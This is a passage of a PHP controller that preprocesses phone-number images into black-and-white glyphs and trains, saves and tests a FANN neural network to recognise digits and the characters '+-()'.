				$b = $rgb & 0xFF;
				$gray = ($r + $g + $b) / 3;
				if ($gray < 0xC0) {

					imagesetpixel($im, $x, $y, 0xFFFFFF);
				}
				else
					imagesetpixel($im, $x, $y, 0x000000);
			}
		}

		imagefilter($im, IMG_FILTER_NEGATE);

		// define the sharpen matrix
		$sharpen = array(
			array(0.0, -1.0, 0.0),
			array(-1.0, 5.0, -1.0),
			array(0.0, -1.0, 0.0)
		);

// calculate the sharpen divisor
		//$divisor = array_sum(array_map('array_sum', $sharpen));
// apply the matrix
		//imageconvolution($im, $sharpen, $divisor, 0);
	}

	private function getsymb($output) {
		$value = max($output);
		$key = array_search($value, $output);
		$str = '0123456789+-()';
		return $str[$key];
	}

	private function getans($answer) {
		// 0123456789+-()
		return $array = array(
			$answer == '0' ? 1 : 0,
			$answer == '1' ? 1 : 0,
			$answer == '2' ? 1 : 0,
			$answer == '3' ? 1 : 0,
			$answer == '4' ? 1 : 0,
			$answer == '5' ? 1 : 0,
			$answer == '6' ? 1 : 0,
			$answer == '7' ? 1 : 0,
			$answer == '8' ? 1 : 0,
			$answer == '9' ? 1 : 0,
			$answer == '+' ? 1 : 0,
			$answer == '-' ? 1 : 0,
			$answer == '(' ? 1 : 0,
			$answer == ')' ? 1 : 0,
		);
	}

	public function action_image() {
		//echo APPPATH.'files/train/+7(905)730-97-10.jpg';
		$image = imagecreatefromjpeg(DOCROOT . 'files/train/+7(905)730-97-10.jpg');
		$this->ImageToBlackAndWhite($image);
		$mask = $this->explode_symbols($image, 8, 15);
		print_r($mask);
		//header("Content-Type: image/jpeg");
		//imagegif($image);
		exit();
	}

	private function img_crop($src, $x, $y, $w, $h) {
		$dest = imagecreatetruecolor($w, $h);
		//echo $x.' - '.$y.' - '.$w.' - '.$h;
		// Копирование
		imagecopy($dest, $src, 0, 0, $x, $y, $w, $h);
		header("Content-Type: image/gif");
		imagegif($dest);
		imagedestroy($dest);
		//exit();
	}

	private function explode_symbols($image, $w, $h) {
		$count = floor((imagesx($image) - 2) / $w);
		for ($i = 0; $i < $count; $i++) {
			for ($x = 0 + $w * $i; $x < $w + $w * $i; $x++) {
				for ($y = 0; $y < $h; $y++) {
					$p = imagecolorat($image, $x, $y);
					$mask[$i][] = $p > 0 ? 0 : 1;
				}
			}
			//$this->img_crop($image, $x-8, $y-15, $w, $h);
		}
		return $mask;
	}

	public function action_train() {
		$num_input = 8 * 15;
		$num_output = 14; //count($this->getsymb(0));
		$num_layers = 3;
		$num_neurons_hidden = $num_input + $num_output;
		$desired_error = 0.003;
		$max_epochs = 1000000;
		$epochs_between_reports = 1000;

		$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);
		//fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
		//fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);
		//$ann = fann_create(array(360, 150, 10), 1, 0.7);
		//exit('123');
		$dir = DOCROOT . 'files/train/';
		$set = $sets = $answers = array();
		if ($dh = opendir($dir)) {
			while (($file = readdir($dh)) !== false) {
				if (filetype($dir . $file) == 'file') {
					$answer = str_replace('.jpg', '', $file); //.PHP_EOL;
					echo $answer . PHP_EOL;
					echo count(str_split($answer)) . PHP_EOL;
					$image = imagecreatefromjpeg($dir . $file);

					$this->ImageToBlackAndWhite($image);
					if (is_resource($image)) {
						$set = $this->explode_symbols($image, 8, 15);
						//print_r($set);
						if (!empty($set)) {
							//
							$sets = array_merge($sets, $set);
							$answers = array_merge($answers, str_split($answer));
							echo count(str_split($answer)) . ' - ' . count($set) . PHP_EOL;
							//if (count(str_split($answer)) != 5) {
							//	exit($answer);
							//}
							//print_r($sets);
							//exit();
							//fann_train($ann, $set, str_split($answer));
						}
					}
					else {
						echo $dir . $file . PHP_EOL;
					}
				}
			}
			closedir($dh);
		}
		echo fann_get_num_input($ann) . PHP_EOL;
		echo fann_get_num_output($ann) . PHP_EOL;
		//exit;
		echo count($sets) . PHP_EOL;
		echo count($answers) . PHP_EOL;

		echo count($sets[0]) . PHP_EOL;
		echo count($this->getans($answers[0])) . PHP_EOL;
		foreach ($answers as $id => $answer) {
			//echo count($sets[$id]);
			//exit();
			//$data[] = array($sets[$id], getans($answer));
			$ans[] = $this->getans($answer);
		}

		foreach ($ans as $id => $val) {
			if ($id == 0) {
				file_put_contents($dir . 'train.txt', count($sets) . ' ' . count($sets[$id]) . ' ' . count($val) . PHP_EOL);
			}
			file_put_contents($dir . 'train.txt', implode(' ', $sets[$id]) . PHP_EOL, FILE_APPEND);
			file_put_contents($dir . 'train.txt', implode(' ', $val) . PHP_EOL, FILE_APPEND);
		}
		//fann_train($ann, $sets, $ans);
		//fann_save($ann, 'fann2.data');
	}

//train();

	public function action_check() {
		echo date('Y.m.d H:i:s') . ' Start ' . PHP_EOL;
		$dir = DOCROOT . 'files/train/';
		$num_input = 8 * 15;
		$num_output = 14;
		$num_layers = 3;
		$num_neurons_hidden = $num_input + $num_output;
		$desired_error = 0.002;
		$max_epochs = 1000000;
		$epochs_between_reports = 1000;

		$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);
		echo date('Y.m.d H:i:s') . ' Create FANN ' . PHP_EOL;
		if ($ann) {
			fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
			fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

			$filename = trim($dir . "train.txt");
			if (!file_exists($filename)) {
				echo $filename . ' not exists' . PHP_EOL;
			}
			echo date('Y.m.d H:i:s') . ' Read file "train" ' . PHP_EOL;
			if (fann_train_on_file($ann, $filename, $max_epochs, $epochs_between_reports, $desired_error)) {
				echo date('Y.m.d H:i:s') . ' FANN trained ' . PHP_EOL;
				fann_save($ann, $dir . "trainphone.data");
				echo date('Y.m.d H:i:s') . ' FANN saved ' . PHP_EOL;
			}
			else {
				echo 'error!!!' . PHP_EOL;
			}
			fann_destroy($ann);
		}
	}

	public function action_test() {
		$dir = DOCROOT . 'files/train/';
		$ann = fann_create_from_file($dir . "trainphone.data");
		if ($dh = opendir($dir)) {
			while (($file = readdir($dh)) !== false) {
				$info = pathinfo($file);
				if (filetype($dir . $file) == 'file' AND $info['extension'] == 'jpg') {
					$image = imagecreatefromjpeg($dir . $file);
					$this->ImageToBlackAndWhite($image);
					$set = $this->explode_symbols($image, 8, 15);
					echo '<br><img src="/files/train/' . $file . '"><br>';
					foreach ($set as $str) {
						$output = fann_run($ann, $str);
						echo $this->getsymb($output);
					}
				}
			}
			closedir($dh);
		}
	}

}

// End Welcome